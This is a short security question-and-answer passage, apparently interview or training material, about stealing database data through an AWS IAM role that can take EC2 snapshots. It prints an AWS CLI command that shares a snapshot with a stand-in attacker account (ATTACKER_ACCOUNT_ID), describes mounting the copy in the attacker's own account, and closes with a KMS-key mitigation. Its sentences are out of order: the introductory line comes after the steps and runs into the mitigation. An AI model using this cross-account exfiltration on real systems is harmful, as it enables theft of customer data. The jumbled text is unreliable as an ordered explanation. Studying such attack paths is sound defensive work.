Q: An attacker gains SSH access to a web server running in AWS. The web server has an IAM Role attached that allows taking EC2 snapshots. The attacker uses this role to snapshot your production database server, but they can't download it from AWS because the snapshot is internal. How might they still steal your data?

Once an attacker can create an EBS snapshot, they have effectively bypassed all OS-level database security.

• Share the snapshot with their own external AWS Account ID using the AWS CLI: aws ec2 modify-snapshot-attribute --snapshot-id snap-1234 --create-volume-permission "Add=[{UserId=ATTACKER_ACCOUNT_ID}]".
• Once shared, they log into their own AWS account, create an EBS volume from the snapshot, attach it to their own EC2 instance, mount the filesystem, and freely copy all the unencrypted database files.

To steal the data, the attacker doesn't need to download the snapshot directly. Instead, they can: *Mitigation:* Use AWS KMS Customer Managed Keys (CMKs) to encrypt the root volumes; attackers cannot share snapshots encrypted with a KMS key they don't have policy access to.